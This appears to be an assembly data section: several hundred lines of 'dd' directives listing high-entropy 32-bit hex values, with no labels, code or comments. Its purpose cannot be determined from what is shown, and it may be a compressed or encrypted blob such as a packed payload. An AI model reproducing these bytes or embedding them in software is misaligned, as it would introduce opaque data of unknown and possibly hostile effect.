dd 33CA93Ah, 28BCE938h, 7226E10Dh, 0BEE0A371h, 6A8F16A8h
dd 56DB00A0h, 5E5D1BE1h, 0B203E600h, 9B8647DAh, 3B811217h
dd 0A7CF00F9h, 0EBECAE63h, 65EAB900h, 531E0D4Ch, 970C1421h
dd 7B00902Ch, 9C0AD435h, 4601925Ch, 372AA098h, 8730DA11h
dd 0EE020029h, 0B1D7B07Ch, 0C900668Eh, 1F9713F7h, 3A36583h
dd 948847B4h, 2C809E0Dh, 7A00339Ch, 2A626CDBh, 1FBE210Fh
dd 4D275Eh, 0AC7BA3CFh, 4700CE09h, 6FFE22F9h, 0D13AE5h
dd 0C2CF5658h, 744AF2D8h, 5C045400h, 0FC9ADA75h, 0F6A0000Ah
dd 5EF52957h, 0E00037BDh, 42E2724Eh, 0C0031E71h, 0CF5A8438h
dd 0F4A6755Dh, 12101C3Dh, 51001602h, 3482E5D1h, 2C727Bh
dd 71ADCD4Dh, 4314B39Ah, 0FB07DA00h, 0B6BAC6F8h, 0A6770Bh
dd 229B4B09h, 0E654E8CDh, 0DA423100h, 23B4F460h, 88EB17DEh
dd 0C4F60952h, 190D5803h, 37B98D90h, 50C2C812h, 115C5402h
dd 809C42F2h, 6DE45D2Ch, 58F748EAh, 1FE3B17h, 0F22FFFE3h
dd 1900DBB7h, 2A40F86Dh, 382D569h, 0E1EA73FBh, 9AB0E64Dh
dd 5D00EBA0h, 1BC76EAAh, 7A2A3629h, 4D4B0401h, 809D1193h
dd 0C7333204h, 484A0900h, 291F9C9Bh, 57F8DBh, 87C61AE8h
dd 0A4B63678h, 0E2B3CD00h, 0C1F7E94Ah, 0D8BF14EFh, 153CD4A5h
dd 9E402C80h, 0C84F52BCh, 0F2B36C00h, 5F4CC4E5h, 8CE82Bh
dd 0BBF00FDBh, 0D478EC1Ah, 0FD0B7B28h, 0B0253B00h, 36B948Ch
dd 64AD00D0h, 4576E6A0h, 8D065951h, 4D08E478h, 82CA0029h
dd 6DD70EC9h, 723CD27Ch, 0ECA50080h, 56BA7F0Dh, 0DE7FFDh
dd 0BF450FAAh, 0A16BD1D2h, 4447F400h, 0C4AC5646h, 0A2531C17h
dd 658F4038h, 0D09F066Dh, 3452B600h, 533B0F94h, 0BDB500CBh
dd 0C4917F41h, 4500856Eh, 0E594FAE1h, 0FFDCF02h, 0C25CBC52h
dd 8903DD03h, 438CD6C0h, 8F0032F8h, 0B6E0A80h, 0E354EDh
dd 79EA9EB2h, 0FF6D1B35h, 0E187C900h, 0F8E84064h, 0D4D80E50h
dd 38A0A970h, 0A6CA4A08h, 4FC78200h, 0E04C048Dh, 7F45050Ch
dd 70FD97Bh, 27C7B530h, 0AD6B808Dh, 8661EC22h, 9493B718h
dd 675184E0h, 83BB1081h, 20965A8Bh, 0B5264E00h, 9E38066Eh
dd 8A89072Eh, 8122C91Bh, 0C86D467Ah, 0F50F83E6h, 8081C557h
dd 334E306Bh, 71C0007Fh, 0B91E6245h, 0D205B506h, 5886C587h
dd 0E0FF7A83h, 0B06612h, 0C6C6E65h, 9B410E75h, 0CFD19414h
dd 8F8060ABh, 0EE7B6B29h, 0E5040080h, 3E63AB39h, 7300F5E4h
dd 7225DFF0h, 919E1Ah, 0D1CA350Ch, 694A884Ch, 68080100h
dd 77396FA9h, 180D0C5Ch, 22189F8Eh, 87070A00h, 0FF358AA4h
dd 90597724h, 20956048h, 4F0EA97Fh, 0E235A0A0h, 0CF0AE90Ch
dd 4BD93096h, 0B508A0D6h, 0BFAB00Dh, 4088183Dh, 1E3E79A2h
dd 0EC078351h, 0C801B9Ah, 80691F42h, 0B37310Ah, 97B0E19Ch
dd 3F986E13h, 0BCD4570Ch, 218167F4h, 30898DA8h, 51C008C0h
dd 0B835C059h, 0D181695Eh, 0BE870157h, 0C6EC098Ah, 0D241CCB6h
dd 9C125354h, 840378Eh, 47C71CEh, 71C263B3h, 0BBE38BE9h
dd 3F1FE8F0h, 60D0A934h, 8C576000h, 2E7AABh, 5BEB40Bh
dd 8A5A60E3h, 21C4E400h, 14C3252Dh, 0D8D6003Bh, 64C6A9E7h
dd 1575DBFEh, 0F773A302h, 808CED05h, 5048BBEFh, 3022E861h
dd 0BE70F9A4h, 0C730630Ah, 0D760B9B4h, 3527BF5h, 18B9126h
dd 98A392CEh, 0DF72217Eh, 0ED526303h, 0F0AA8D30h, 0A5D6CFDh
dd 8462BB83h, 0E586028Ch, 0BC8136EFh, 5196884Dh, 9CA1DB98h
dd 0ED8A048h, 0E02C8050h, 28DF62B3h, 980890A6h, 210E4E80h
dd 6FE5C87h, 0D2183561h, 29F8206Fh, 0F0FD8601h, 0CAB83473h
dd 50453024h, 60D2A081h, 41241067h, 0BB0943A9h, 792D8E3h
dd 3540A696h, 1F909Dh, 0B3F22B20h, 0A1692C25h, 60007A76h
dd 647E2365h, 0CDDE96h, 513A22B7h, 0B5F0F734h, 312BE600h
dd 49FEF621h, 85B00F35h, 0ED8FE1ADh, 3D36E300h, 5702C4DCh
dd 67051310h, 44DA802Dh, 1619C56h, 2A9E3FBEh, 0DB146C1Ch
dd 4D7ED90h, 2C90BF1Dh, 76D7D80h, 7E06373h, 0E5E961A6h
dd 353B794h, 0FA8BA156h, 7983C4A0h, 185FBA01h, 9550CF6Ch
dd 30E0D0h, 126ECBE9h, 0FCD11B2Bh, 0BB657801h, 0AF6471FFh
dd 6A77A981h, 9FAD3CFBh, 85B90D20h, 86CE6CB5h, 0D0EDC7ABh
dd 440A2C67h, 0FFFC2E00h, 4905EF96h, 0E2E10CACh, 0D7484352h
dd 302E242Ch, 0B25BD001h, 198006CEh, 5A81F73Fh, 5801DF0Fh
dd 115961B5h, 91D05C0Bh, 4AD406E2h, 311055E3h, 0CFEE2600h
dd 92E92CCEh, 0E8FB00D8h, 98DF09FCh, 0F000F34Eh, 10379F26h
dd 9C3D76h, 0C14D14B8h, 21EACCFDh, 1D5C4200h, 0AB3B1E72h
dd 1F0E018Ch, 83A070D7h, 0CFBAF8D4h, 25C7EE00h, 86EBDCE2h
dd 5801E884h, 0C100C5E0h, 0DED9496Ah, 0E3DC2E8h, 4C6D18CEh
dd 0C3EF61h, 0E7BF01F9h, 0F807B288h, 68B07A00h, 3B9353ECh
dd 3D7900BAh, 0EDFFDAFBh, 500AD6Eh, 760A974Dh, 785A44A5h
dd 0D24F0EA8h, 0D8039A7Ah, 7800CCF9h, 0AEF7751h, 3BAB464h
dd 1232EC93h, 0A8F9F565h, 1C89C0F3h, 0E7E6700h, 262BBD63h
dd 0FE5B3051h, 4675C541h, 17DA900h, 0CA94D20Bh, 124418D4h
dd 6A70F0C9h, 0D7F45126h, 0C050B900h, 7444521Bh, 0CE220C8Bh
dd 0FD48FCCAh, 81CB2A00h, 94FFB779h, 2FD300B9h, 282E32F0h
dd 4E036799h, 0E6DD53EFh, 624D08Fh, 60E15C55h, 61FDE000h
dd 0C686DA6Ch, 497BAB7Ch, 0A86B0600h, 0AA470A57h, 4083002Fh
dd 0A207DF2Ch, 0C1006F95h, 0EE5E5022h, 0F00AF043h, 0DB970F7Fh
dd 480E23E6h, 0F41EAF74h, 3EA686ACh, 29E85834h, 160B9BF6h
dd 8C1356F0h, 3EFC66Ah, 0CFAC02C2h, 680054B7h, 3D2BA4Bh
dd 167B488h, 2782FE5h, 0F05EA1AFh, 7300C693h, 0D60FDCE4h
dd 0F9A940AEh, 0FB3A270h, 0ACC80DADh, 0D3F65520h, 88C04945h
dd 0CCCA4DDDh, 52923D6Fh, 4C885A2Ah, 0B861BF28h, 0D0293F50h
dd 11C0FA4Ah, 7806F1AEh, 956900DEh, 89E165D6h, 0BFEEDD66h
dd 5A189D1Ch, 0C72E0A83h, 37B806EFh, 0A8FC5E7Fh, 0FAAAF218h
dd 93DD48h, 0B8E37CE5h, 9CC84D38h, 97D7D000h, 0BA44CA27h
dd 0D64E0046h, 1C4A8C1Ah, 6474B92Eh, 88DA3C00h, 0EB01F862h
dd 8D810C68h, 0CE08B813h, 4AD221C0h, 14024CF8h, 0E29E0DD9h
dd 0EB8C5400h, 65FC7931h, 0C474060Ch, 623068h, 8E56DD33h
dd 107E0280h, 0FFD33803h, 0DF79E270h, 53720068h, 0D93F614Ch
dd 0A2477E01h, 2BB393C2h, 5948AEB0h, 2867C5E4h, 6E604220h
dd 16EBA3C1h, 198C6B0Ch, 91DA717Dh, 6F805BD0h, 80E03AF8h
dd 88B40CE3h, 0F80777B9h, 548AC17Eh, 23436881h, 0FD1B1F0h
dd 0FEED60CAh, 0ADA9F740h, 0D9032A6Fh, 3595CB47h, 0EED4A841h
dd 0D0980069h, 4B1C7C7Eh, 0B0186DBDh, 27616BB1h, 919900BCh
dd 4BBA4E6Fh, 4370D8E9h, 0FA1FF33Dh, 59E86260h, 3A059234h
dd 54037ED1h, 0CEEE4D2Dh, 0FC335800h, 0E7D52E26h, 6F0800F2h
dd 1DEDC9Fh, 2000B30Dh, 63CD819Eh, 0EB24F3h, 0A604494Eh
dd 0A82ECCE8h, 695DEE00h, 0A01A8642h, 4615034Dh, 1B389D43h
dd 16373FA8h, 0C0FDCB2Dh, 0C38D4C2Bh, 3D09A09h, 0F3BE1000h
dd 0F650C5DAh, 3F5400DEh, 0E19764BBh, 9D0086BDh, 7F98FCF4h
dd 64D966B1h, 23BA28CAh, 4844FC9Eh, 4FC548F8h, 0FA8C8490h
dd 0E433C44h, 8600B387h, 18B54EEAh, 42DC00FCh, 0A7113390h
dd 17F209BFh, 0D407CF70h
dd 0F871F79Dh, 0FA14610h, 9492008Ah, 0C0FAE3BCh, 0E3A0DE1h
dd 7D2838EEh, 0AE6F9614h, 8C0376BFh, 0B7ACC426h, 0DF73D02Bh
dd 659400C2h, 3EE7EFDEh, 77001A8Bh, 0D4CBC74Dh, 369DA84h
dd 0C5BFCAF1h, 0EABB7B94h, 9C8A3A0h, 359948h, 0B10B7ADBh
dd 7F0ED6E7h, 165700F1h, 6EABCF33h, 3F0075F2h, 5E2B3409h
dd 7CD655E6h, 5BBE00A6h, 2945C219h, 52262C97h, 250C3CF2h
dd 28F4DA27h, 2CC0C22h, 0CCDE0A6Bh, 0D080D6E1h, 552042CAh
dd 8B46B300h, 3B0EC7A7h, 716B01BFh, 2C938F27h, 4D28C0D8h
dd 30945000h, 0FC3246F6h, 0B2701BBCh, 45902092h, 12012E99h
dd 0B02A2F52h, 86FC2031h, 5DFB0098h, 1DAB5354h, 0BA0055B7h
dd 0A5C9B1C5h, 122C9D90h, 7B49151h, 0F0460A12h, 0B6D80255h
dd 0B000FFB8h, 1B438224h, 1CC7F415h, 40B283BFh, 9FE7E4Ah
dd 0B6505F73h, 5B302B9Ch, 0DBAF1AF5h, 0B471D63h, 0E50F4004h
dd 85BA41E8h, 0DCF8EB00h, 37DEA02Bh, 3CA70083h, 0F1FE0D27h
dd 4C00D055h, 6F42BAFAh, 1EB0F2E5h, 4084044Bh, 17A7FD65h
dd 0CA001C02h, 8CE05186h, 1D61D3Ch, 81DA4E4Bh, 80E51E78h
dd 0B90A1AD0h, 34AF70h, 7198CC4h, 36AA3AC6h, 82043Ah, 295ABBE6h
dd 0EE5B2750h, 0C211FAF7h, 9824069Ch, 0AAA5C080h, 4107F275h
dd 76A80C51h, 8C4C0069h, 720BEFF8h, 0FF49031Ch, 27FAB4E9h
dd 5BEE7988h, 0FC0044E6h, 1319E029h, 468685h, 0BD321EE6h
dd 26211BB9h, 0CB4A9800h, 434EE445h, 3EC09DCCh, 1600A476h
dd 0E7F4AC9Fh, 51D62Eh, 68BAFEC2h, 38C5A51Ah, 24E4F00h
dd 9B9F06B0h, 0C2F80E21h, 1D297E7h, 301D24FCh, 6DA02F38h
dd 2BD1008Bh, 0BD77939h, 3400530Dh, 816D6410h, 9F5E402h
dd 0EF862F77h, 8B40C820h, 0DC00FA62h, 53238CAEh, 58F25845h
dd 40032ADh, 6E5FF688h, 0FC02DA24h, 0F554E16Bh, 108E155h
dd 2D2770h, 5A05AC63h, 734FCF38h, 38D3038h, 1961A402h
dd 8AC4F83Fh, 57560037h, 3E9EC580h, 8B002AABh, 0D778DE6Dh
dd 0E62B2DCEh, 9CC900A2h, 31CD3871h, 0D100894Eh, 1658312h
dd 0D384E1h, 3DADBF28h, 0C8A99BEFh, 320A3400h, 4FD11180h
dd 4E5E077Bh, 0AE0FFDCDh, 0C4013580h, 43FCA6FFh, 6BCC640Fh
dd 0C744C0EBh, 0CB9B78h, 16EEF49Ch, 91D7FB5Ch, 7422F00h
dd 82C45095h, 6402005Fh, 3305CD1Fh, 9E07A24Ah, 0F4F60116h
dd 92F39AA0h, 3C9B00BFh, 6964CB9Fh, 0CC00D7E3h, 0FC1CEAB2h
dd 3E33584Dh, 0B4009A6Dh, 2CE99789h, 600BE776h, 0D00C0B48h
dd 30280072h, 82F5B0AAh, 0BB00F959h, 85CE2726h, 3B861258h
dd 79075A9Ch, 3017D262h, 885E3D0Ah, 84CFF100h, 0F06C704Fh
dd 8FBF00CBh, 77B56F54h, 69001B18h, 350D1640h, 0E43C630Fh
dd 5E6400ADh, 33A453A8h, 0C1077995h, 15A3B950h, 2CA19240h
dd 0D64C1D8Ah, 796808Eh, 0F2F6C758h, 0E71C552Eh, 52516400h
dd 1877D687h, 646127DCh, 0B10001A1h, 0E30D042Fh, 1D22050h
dd 8B9D62E0h, 0E8DD7F60h, 0A90F580Ch, 0EF0F9833h, 182D400Dh
dd 28B5A348h, 0A0C9BEh, 92C54EC3h, 0AC66DBCBh, 8A0BB80Fh
dd 0AE3B80FBh, 736BC694h, 0A8C0042Fh, 807FECABh, 0A0FB844h
dd 62D4D101h, 79B1938h, 14E56EC4h, 0A0843211h, 5962500h
dd 2A8CABE6h, 9A451A00h, 5C0ABD30h, 3BC8008Ah, 61DD9890h
dd 0F60039FEh, 0F72A3D07h, 13AADAh, 0EF6BD49Ah, 8A11502Eh
dd 8900B7E0h, 16D71B62h, 151F2F7h, 2E383170h, 0ECDC6FEFh
dd 0FF24737Ch, 69003C5Dh, 0DA49118Dh, 3CBA0202h, 0FCCE36EDh
dd 0D18B4141h, 0D78FC0FFh, 33E58800h, 16E7D003h, 32503FA6h
dd 0DC807A06h, 0E9A12089h, 0CE8D404Bh, 7F005AC7h, 8F35A615h
dd 7E0CA29Bh, 12DD0042h, 3C38250h, 8E07D92Ch, 191E99D1h
dd 95F5E9D0h, 2096009Bh, 62849A34h, 2300CCB1h, 61AA52D4h
dd 147DDEh, 8F5B4CB0h, 7469D30h, 0D07E5E00h, 0B4A1ACFh
dd 24850070h, 0EFA01733h, 4F00C1EAh, 0DD43B06h, 60FDC5h
dd 5985D6CBh, 15501BFAh, 7BA6AE00h, 0BED85A5Ch, 708D000Fh
dd 6516968Ah, 9D00A59Fh, 7377F9B7h, 0B8F5373Bh, 0C6900B14h
dd 0D800A28Ah, 0D4EB32D9h, 2AB0590Fh, 1AA52420h, 674E8080h
dd 0FC5B00C4h, 0A23DF92Bh, 7E00E215h, 0D12EDDE8h, 0FDD435h
dd 0C10D30CEh, 4D03ECE7h, 543ADE00h, 0E508B91Ah, 509816h
dd 0F57BD868h, 494C35E7h, 0DE77960Eh, 9821E3E9h, 0FE418915h
dd 90C5E8h, 268BBA6Bh, 0EA3DAA2Ah, 73681600h, 66B26221h
dd 88C8001Ch, 0A5B5C9DDh, 0B4005BABh, 476CC387h, 7B28D0h
dd 2C7ADBCh, 0CE1E9C73h, 4B13DDE0h, 7200AC19h, 59685052h
dd 3C2B07ABh, 90D076B6h, 0CE51537Eh, 88F31100h, 0D76E2607h
dd 0E17F077Dh, 0B9805ED9h, 4959A800h, 564860B5h, 254200CEh
dd 0EDFD4447h, 0A737006Ch, 0EC8D9EBAh, 76263428h, 93803CE3h
dd 4F20A0B2h, 47A900F4h, 77DA043Eh, 8A0CD22Bh, 0ECEF5E21h
dd 7A200087h, 0F2652E5Dh, 6400DD1Ch, 0B4F4BCCAh, 1FAD3CC5h
dd 40885C87h, 0EF1BE11Fh, 0DA003235h, 0ECE9AC64h, 0E7F19D1Ah
dd 0EDF03431h, 28DB0096h, 0FA1C845Ah, 0BB98EA51h, 0EFA7C607h
dd 5B857201h, 0FB6D18C0h, 30AD008Fh, 486F1652h, 28036449h
dd 7B06CBE0h, 971C8C8h, 13B81DE2h, 7B7E8F1h, 0DDF95162h
dd 0A4E00E6Fh, 0AF9F6742h, 60D88707h, 0B9F007DFh, 3869A9CDh
dd 3E309C97h, 0E9D7B811h, 68884216h, 0BF4E505h, 0AA728200h
dd 9A2C1A7Fh, 0FCC20030h, 0F9AD23B6h, 63010E84h, 0D1B0415Dh
dd 0F0CFC571h, 392C5B8Fh, 7D934A88h, 6CC482Bh, 81458500h
dd 53A40Bh, 8618935Ah, 0D7DA3837h, 0E6834700h, 0F8085C3Ah
dd 25CA00ECh, 1A4F04D3h, 0D800856Fh, 584BD936h, 0C85BDFh
dd 3BA4E767h, 72B34CFCh, 0A4ED753Bh, 14090F15h, 3C48A07Eh
dd 379E8FEh, 6BC16963h, 9AC9F19Fh, 0CB10877Dh, 2AC04AA0h
dd 902CDBF3h, 1CC90D0h, 59E80B2h, 0E89068EAh, 217ED37Ch
dd 1F2D8F00h, 1AB108C2h, 294B3A78h, 0D1536800h, 660C19BDh
dd 90DFF1C5h, 0C8AAC683h, 19959EC1h, 28174E41h, 0AB399B4Fh
dd 0BEC1D880h, 14DF42F2h, 0E241F19h, 2074B2E4h, 0C2DA1789h
dd 285D0097h, 900943D8h, 0B400DB35h, 51C3647Bh, 226831h
dd 6ED96506h, 44C1ED1Ah, 45001CEAh, 310D9D03h, 1E6C8D84h
dd 8076274Ch, 0E86F4D54h, 7A0066A6h, 884A74D4h, 3D12901h
dd 43F57690h, 9AB0F97Ch, 0ED001160h, 0C6E8FD3Dh, 0FBA27Ah
dd 0D159AC39h, 0AFB8DE62h, 10862603h, 0B86F1F47h, 7ADA92Fh
dd 9DB5B780h, 0E0F08790h, 0FCA706CAh, 0B91E590Bh, 70020CC8h
dd 0E0F6DBh, 9E3C17ECh, 2508B0D8h, 8F3D0C00h, 0A83E164Ch
dd 0ACE00076h, 10DD05FEh, 5F0027E4h, 32C19626h, 0F00891h
dd 4F469023h, 8F6068F7h, 29783360h, 32EF5Bh, 20219857h
dd 1285A4CCh, 70118A00h, 0B8EE74B3h, 0D11F0008h, 3BE0B5F5h
dd 7500D61Bh, 0C82CE2A9h, 0A8308843h, 2A6B8Ch, 17380959h
dd 49466A86h, 88E9F518h, 705020h, 26A45DF9h, 0DDB7E6B2h
dd 0A1693C01h, 0B949F68Dh, 0FFE9A8EFh, 0D0E7319Ch, 80948CA0h
dd 85C12EA9h, 3A8AC37Dh, 4A004D10h, 88F8BA40h, 0AEE820A3h
dd 0A605CC00h, 0AD280F52h, 3B710054h, 70150D66h, 2201A54Ah
dd 0D5DD55E0h, 0E0E34720h, 0F689088h, 0BC5F0689h, 2D8564C0h
dd 0B600B01Eh, 0A81D46Fh, 31DD0F5Bh, 0D0296643h, 19370056h
dd 7D28009Fh
dd 0EF2B53D8h, 2A0045CAh, 0C45A1436h, 5B3A49h, 0DB6A7C95h
dd 924E0878h, 0C7B9F700h, 0A2E1F118h, 7C75B0B3h, 0F2CF00EDh
dd 0E2630246h, 97076740h, 8D6AE447h, 68D2C9D0h, 0EABFF084h
dd 1497618h, 4B193632h, 0DBC33A4Fh, 97FBF4D8h, 963D3400h
dd 0F841CAF9h, 9BC40107h, 1CCFD1D2h, 0E8A8CFF5h, 0D830C955h
dd 126F1966h, 2E41008Dh, 0AA45E682h, 8C07BF07h, 1EA29C6Ch
dd 80052CC2h, 1AB3DFA0h, 0C25F0775h, 0E098BC85h, 8C718BB1h
dd 9078AF00h, 5305CA8Fh, 227F009Ah, 87CE5A6Ch, 0C50E45CBh
dd 0BD068DDDh, 272F3CC0h, 1326E6FDh, 0EC9AFFA5h, 0B38600BAh
dd 961A33F8h, 2E3C00B2h, 0CEA4A9B7h, 720375DBh, 0DCA373ADh
dd 0B5C4E086h, 53EE77h, 0B18EE51Ah, 0DA8248DFh, 0B6423C00h
dd 5F69D879h, 25A4009Ah, 0A8D13E5Eh, 0A1B0F44Ch, 2257FF00h
dd 0E75294B6h, 89A40011h, 0A239FCA3h, 240F99B7h, 0C53562h
dd 5AE270F2h, 24A348A7h, 14063300h, 0E6EEE6Bh, 29FFEA1Dh
dd 130081D7h, 7D4E3CFBh, 23EC00F0h, 0AFA69188h, 5400217Bh
dd 34080B64h, 3DCF304Fh, 38004AADh, 4C47A53Dh, 0D6002286h
dd 7CAE70Ch, 2FF2C0D4h, 50C05771h, 263CFBDAh, 91D5001Eh
dd 82CDAE87h, 9F5900D6h, 2D633EC7h, 4C00A4E6h, 64E85E4Bh
dd 0B8ADAB81h, 0DACA00D0h, 52795791h, 0A100B74Eh, 0B37360C5h
dd 26255396h, 7EBC462h, 0F0FA6B70h, 4C3610F7h, 44DCEC16h
dd 8B1B0B00h, 30DE393h, 52D83FE6h, 1790D363h, 4D54B379h
dd 0BA035F8Ch, 623B2F97h, 0B441B8CAh, 0C2040348h, 4A3C9A93h
dd 7D517CD8h, 1DE50B00h, 0BACDD808h, 85A71242h, 4170079h
dd 0C3112FC8h, 0CB41380Fh, 7A00BFC9h, 0AD56078h, 0F266735Fh
dd 0CA870017h, 80BF250Bh, 3D02DB18h, 4D7A507h, 0A48F40D0h
dd 0E2BE3B59h, 384AB200h, 2C87EE9Fh, 1D010498h, 11B35448h
dd 8080DCB0h, 929ACEB6h, 0AE1FFC1Ch, 0CD80A888h, 66FF7B18h
dd 0F1455119h, 7C56BFE0h, 2B7A7Eh, 0ED44C517h, 2E79CF83h
dd 9A716832h, 702C60EEh, 0C69A0101h, 0A88D2AB1h, 5EB84069h
dd 570013A7h, 0A11F2832h, 0FCD92E06h, 88FC003Eh, 8B451E0Bh
dd 46098EE7h, 80947B9Eh, 0A5631AA9h, 0C5D50002h, 57828C8h
dd 68C04B25h, 12188BA8h, 0A294063Ch, 981A19D8h, 3B41A91Dh
dd 0CB07C8E8h, 9E98F903h, 81AAE300h, 0FE621D3Ah, 0F8FBC0C4h
dd 401E0148h, 8A3F7B00h, 6655D047h, 0D287002Eh, 21E66249h
dd 2F026E14h, 9801CC91h, 0B31A408Fh, 0C87A0018h, 2380D3C3h
dd 920010E7h, 608E5CE5h, 306A74A2h, 0AB8E283Dh, 1F04D935h
dd 932FC7A7h, 0E39050C0h, 71593888h, 0DA849Ch, 0C410C11Eh
dd 0F706F076h, 464A0635h, 0D11800E8h, 0A1DD82C0h, 0C2002802h
dd 1B3D988Dh, 0FC80Eh, 2604B7D3h, 84236FF2h, 352AB000h
dd 5BB9622h, 955000AAh, 8BD8D8Ah, 0DE000FC3h, 0C411C9A0h
dd 0E4AE3A5Fh, 0A40A3BF5h, 0DE90A0FCh, 2001008Dh, 7024C139h
dd 150142FCh, 4718AE30h, 71E502A9h, 0B8E5E4ECh, 0D0CE03EEh
dd 0CAA0383Dh, 8C014BC8h, 0EB72DC1Ch, 20078B0Fh, 46A974C0h
dd 0D9A326DBh, 0A2E8008Bh, 7342099h, 0EC522E07h, 21A0D656h
dd 0C3D4EBEFh, 0F3FBA484h, 0DF9AC398h, 48F75839h, 771E079Ch
dd 1163732Dh, 0C32800FDh, 0DD1AB095h, 55006A8Ah, 7B2F163Ah
dd 0AA6D03h, 0E06EE1A7h, 0C449727Fh, 9040FF02h, 4832921Dh
dd 881058h, 0C641ECFDh, 3353F944h, 0CFD38900h, 22AE81B2h
dd 0D04E0007h, 46D93F7Ah, 0D2418FDh, 5180602Ch, 44A7FF37h
dd 0E2A200CDh, 0A68B257Dh, 4200B96Bh, 465C8AB4h, 3F93A7BBh
dd 75DDE5h, 0FB1DF2D5h, 0F9AFCD9Fh, 8366A00h, 0B9AE1F14h
dd 38880025h, 0A3B5156h, 424CDED1h, 80333C4Fh, 0E1252A04h
dd 36B85A6h, 482C5BF5h, 0EC80788Eh, 1216AB45h, 1600370Dh
dd 696FD302h, 549A7Ch, 81FA5B4Ah, 0A81141E0h, 84C0E500h
dd 0F0557D80h, 0D3A9260Fh, 0B7D701E5h, 0E84E42A7h, 4C7D0BC3h
dd 5DE33900h, 7B6E553Eh, 0EABF005Bh, 6775D2CCh, 7A2CE2C7h
dd 0FA079472h, 0E7C0475Ch, 504E29h, 0B131FFC8h, 0CC6C8A71h
dd 0B870163Ch, 0FED5821Ah, 0EB3D9545h, 0ACC7E148h, 10E2440h
dd 75C81D66h, 5EDE0190h, 0C0F06E95h, 8F03854Eh, 11634077h
dd 0B7C5C019h, 200F006Fh, 0AA62ADFAh, 2051506h, 0F3C8A1FFh
dd 9874B4C0h, 79230366h, 3FFA46A6h, 820DA2F8h, 64D160CAh
dd 8C0C4E4h, 6EA422h, 77A7518Bh, 86F00C8Dh, 24A8A154h
dd 5D79EC13h, 804C3E0Eh, 85654BA0h, 869C000Dh, 0BDDAAFEBh
dd 72E6F25Ch, 0A309DF2h, 0C57AAEBBh, 0E8450082h, 557F710Dh
dd 3601C698h, 2A9010A7h, 8F45759h, 0F77500FFh, 0A365C738h
dd 0F900EAD8h, 86691D2Bh, 51685Bh, 0CEA28056h, 0CD0B2D73h
dd 6D1A9804h, 1AAA95Eh, 6495E2A8h, 21ECE825h, 45ED9A13h
dd 218FB70Eh, 4643E306h, 88C6F8h, 0F19E60F8h, 86A02E7Eh
dd 99C1AB00h, 1C1072FFh, 0A5E40506h, 40310A27h, 3BC66AD8h
dd 320AFEBAh, 0C8C70419h, 2152303Ah, 3BDF98h, 8A2F5679h
dd 80228439h, 6F897A03h, 873AFF74h, 93090630h, 18A36594h
dd 0A6F2814Eh, 7066F002h, 91F1890h, 7E1437B5h, 618D48EBh
dd 1CAD2A61h, 0D3007028h, 1E207FA8h, 3400DC6Ch, 441BA75Dh
dd 48B9086Fh, 0FF06125Fh, 68991D9Bh, 0F3038C7Dh, 0D87D2476h
dd 0E2F1F1A9h, 26385980h, 0A775104Ah, 85C76900h, 4FD08F0Ch
dd 94403FD9h, 0CF186B58h, 822B18DDh, 500AC7Ah, 97A56788h
dd 7D3596h, 0E73119F8h, 0B110FAB4h, 57BC6600h, 65029A3Dh
dd 23DD0098h, 277BD4F1h, 61E66E4Ah, 0A9FCFB09h, 6FFA80CBh
dd 0F54CBDh, 0D28A8C20h, 0C12AE102h, 0F0030AFEh, 2C1FE048h
dd 0C3FA8890h, 0B46C00BAh, 30DF79DEh, 3D003FB1h, 56341D22h
dd 3B2BC1AEh, 79000FB6h, 4CAAB84Dh, 5B0E4427h, 8048A9E6h
dd 49D1B59Dh, 66810087h, 0D0BA9441h, 0C912EF90h, 0BF0082DAh
dd 9BCB0984h, 60DD000Fh, 39B22C20h, 0CF09D1B7h, 6AC872h
dd 0D95D0E4Dh, 6F2F00E9h, 0F86D4C07h, 9B00B3A3h, 6E193F8Bh
dd 9F5DEAh, 88CA4838h, 1ED53705h, 0A50A7802h, 0C2EA6D1Dh
dd 1035C385h, 1C4F7A30h, 9BC0ABD2h, 1ED702B2h, 5E82006Dh
dd 0DDB14CCEh, 0C560E222h, 7251628h, 0F7450056h, 8E509DAAh
dd 5F019E8Bh, 0FC31AFD6h, 6EC7ECAh, 0C5DC05EEh, 83B7441Ah
dd 3007EC20h, 0DA87B6B5h, 0F6435EF0h, 0A8314B9h, 0A91B9094h
dd 2848F022h, 30AB3064h, 0FA021B3Eh, 2DC30003h, 4638F2D7h
dd 4100E7B1h, 69FEA76Bh, 51C49Eh, 449BCCB4h, 6EB640C9h
dd 0DC27CB00h, 34EE26EDh, 2ED4001Bh, 207A175Ch, 4E7B83B5h
dd 30001FF4h, 85FEE802h, 1DF5B2D2h, 0C356127Dh, 3E1E6FADh
dd 21350930h, 1241D5h, 3ECC6ACh, 8A7EC5FEh, 0F99C6D00h
dd 0DFE2D30Bh, 98B40C3Ch, 5A1009BCh, 628FB801h, 3557E582h
dd 211816D3h, 70820EE1h, 6380F043h, 0E8C13DE2h, 0BE688184h
dd 5822BC02h, 95103EF3h, 6EB01070h, 517280D8h, 7A3CE4BFh
dd 663E98C7h, 216C085Fh, 0BF396500h, 3E556B29h, 0B92B196Fh
dd 30F46163h, 6C0062E2h, 0E82C8DEFh, 1C4B630h, 39056B1Ch
dd 0BBBCB0CBh, 6CA30C49h, 0F556B823h, 0D0B2F0E5h, 55306A90h
dd 3DE808BFh, 5664D567h, 0BF5D9140h, 0A507B349h, 0CA7C31Fh
dd 97470540h, 38EE5001h, 7F630018h, 11F0F560h, 0ABF8A1A7h
dd 2501C274h, 0CCCB6FF1h
dd 799C30A6h, 77007D24h, 9FF336Dh, 0FE746302h, 219E6Bh
dd 8DB76FB1h, 374B3EC3h, 2FCC868h, 33C80CCDh, 6A71D4A0h
dd 0A600FBA5h, 7294C2B2h, 0D9059Bh, 0D4904EA2h, 34C13A02h
dd 0B00B0F00h, 0A6C05E66h, 0EFE100ACh, 81E75BBh, 4A7744Dh
dd 0CB68F877h, 4E11BC60h, 4DE89h, 396A79A9h, 453236D2h
dd 86915A0Eh, 3D1978C0h, 0A2F610BDh, 90741050h, 1F4D600h
dd 63DC4D05h, 0E74608DFh, 60395088h, 1003794Eh, 8B00C524h
dd 4B5AA4C2h, 0E2026EBh, 7535BC31h, 1D80C36Fh, 0A3CDB268h
dd 4EB6D60Fh, 16B100EAh, 0CFF887Fh, 0A44360A6h, 0BB015550h
dd 0FE4D073Dh, 0C0CCA33Ah, 3480513h, 8681EBh, 0ED3C7540h
dd 5A0E465Ch, 80D2C821h, 878DFF1Eh, 64983F5Eh, 55096083h
dd 0C03B0E7Bh, 0B89CB75Ch, 601E0FCFh, 50EB80D8h, 0C3EA0070h
